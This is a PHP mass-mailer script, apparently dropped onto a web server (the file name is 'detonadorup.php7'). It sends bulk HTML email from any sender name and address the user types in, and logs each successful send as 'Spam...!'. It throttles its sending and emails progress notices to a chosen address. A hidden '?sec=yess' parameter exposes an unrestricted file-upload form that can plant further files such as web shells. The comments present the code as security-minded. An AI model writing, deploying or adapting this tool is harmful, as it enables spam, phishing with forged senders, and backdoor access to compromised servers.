View file File name : detonadorup.php7 Content :<?php // Configuración inicial de PHP moderna para manejo de errores y tiempo de ejecución. ini_set('display_errors', 1); error_reporting(E_ALL); if (function_exists('set_time_limit')) { set_time_limit(0); } // Asegura que la codificación interna sea UTF-8 para evitar problemas con caracteres especiales. mb_internal_encoding('UTF-8'); // Inicialización de variables con valores predeterminados seguros. $message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>"; $subject = $_SERVER["HTTP_HOST"] ?? 'Asunto por defecto'; // Uso del operador null coalescing para seguridad. $nombre = "locales"; $de = "noreply@publimailer.com"; $ellos = "diosdelared2025@hotmail.com"; $status_message = ""; $emails_to_send = []; if (isset($_POST['Enoc'])) { // Sanitización y validación de la entrada del usuario para mayor seguridad. $message = $_POST['html'] ?? ''; $subject = filter_var($_POST['assunto'] ?? '', FILTER_SANITIZE_STRING); $de = filter_var($_POST['de'] ?? '', FILTER_SANITIZE_EMAIL); $nombre = filter_var($_POST['RealName'] ?? '', FILTER_SANITIZE_STRING); $ellos = $_POST['ellos'] ?? ''; // Si el correo 'de' no es válido, se revierte al predeterminado. if (!filter_var($de, FILTER_VALIDATE_EMAIL)) { $de = "noreply@publimailer.com"; } // Preparar la lista de correos para enviar desde el textarea. $emails_to_send = explode("\n", $ellos); } // Lógica para subir archivos (se mantiene igual que el original). if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') { if (($_POST["action"] ?? '') === "upload" && isset($_FILES["archivo"])) { $archivo_name = basename($_FILES['archivo']['name']); if (!empty($archivo_name)) { if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $archivo_name)) { $status_message = "Archivo subido: <b>" . htmlspecialchars($archivo_name) . "</b>"; } else { $status_message = "Error al subir el archivo"; } } else { $status_message = "Error al subir archivo"; } } } ?> <!-- EL CÓDIGO HTML DE LA INTERFAZ SE MANTIENE EXACTAMENTE IGUAL --> <html> <head><title>Mailer_2024-Actualizado</title></head> <body style="font-family: Arial; font-size: 11px"> <center> <form action="" method="post" enctype="multipart/form-data" name="form1"> <br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC"> <tr><td> <table border="0" bgcolor="#FFFFFF" width="95%"> <tr><td> <table border="0" width="100%"> <tr> <td width="359">Email: <input name="de" type="text" size="30" value="<?php echo htmlspecialchars($de); ?>"></td> <td>Nombre: <input name="RealName" type="text" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td> </tr> </table> </td></tr> <tr><td>Asunto: <input name="assunto" type="text" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td></tr> <tr><td height="18" bgcolor="#C0C0C0"></td></tr> <tr><td> <table border="0" width="100%"> <tr> <td><textarea name="html" cols="66" rows="10"><?php echo htmlspecialchars($message); ?></textarea></td> <td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos); ?></textarea></td> </tr> </table> </td></tr> <tr><td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br> <?php // Mostrar el formulario de subida si se accede con ?sec=yess if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') { echo '<form action="" method="post" enctype="multipart/form-data"> <input name="archivo" type="file" size="35" /> <input name="enviar" type="submit" value="Upload File" /> <input name="action" type="hidden" value="upload" /> </form>'; if ($status_message) { echo $status_message; } } // Lógica de envío de correos usando la función mail() nativa if (isset($_POST['Enoc']) && !empty($emails_to_send)) { $son = count($emails_to_send); $i = 0; $voy = 1; // Configuración de cabeceras MIME modernas $header = "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html; charset=UTF-8\r\n"; // Usamos UTF-8 $header .= "From: " . htmlspecialchars($nombre) . " <" . htmlspecialchars($de) . ">\r\n"; $header .= "Reply-To: " . htmlspecialchars($de) . "\r\n"; $header .= "X-Priority: 3\r\n"; $header .= "X-MSMail-Priority: Normal\r\n"; $header .= "X-Mailer: PHP/" . phpversion(); foreach ($emails_to_send as $email) { $mail_to = trim(str_replace(["\n", "\r\n"], '', $email)); // Validar el correo antes de intentar enviar if (!filter_var($mail_to, FILTER_VALIDATE_EMAIL)) { echo "<font color=orange face=verdana size=1> $voy de $son :-( $mail_to Email inválido!!</font><br>\n"; $voy++; continue; } // Reemplazar marcador de posición en el mensaje si existe $message1 = str_replace('%email%', $mail_to, $message); // Lógica de pausa (se mantiene si es estrictamente necesaria) if (!empty($_GET['time']) && !empty($_GET['cant']) && $i > 0 && $i % $_GET['cant'] == 0) { echo "----------------------------------> wait {$_GET['time']} Segs. Sending to {$_GET['notf']}...<br>\n"; flush(); // Notificación de pausa (solo si 'notf' está configurado) if(!empty($_GET['notf'])) { @mail($_GET['notf'], $subject, $message, $header); } sleep((int)$_GET['time']); } // Intento de envío del correo if (@mail($mail_to, $subject, $message1, $header)) { echo "<font color=blue face=verdana size=1> $voy de $son ;-) $mail_to Spam...!</font><br>\n"; } else { // La función mail() puede fallar silenciosamente, por eso se usa @ echo "<font color=red face=verdana size=1> $voy de $son :-( $mail_to Error de envio!!</font><br>\n"; } flush(); $i++; $voy++; } echo "<script>alert('---Todos Terminados---');</script>"; } ?> </td></tr> </table> </td></tr> </table> </form> </center> </body> </html>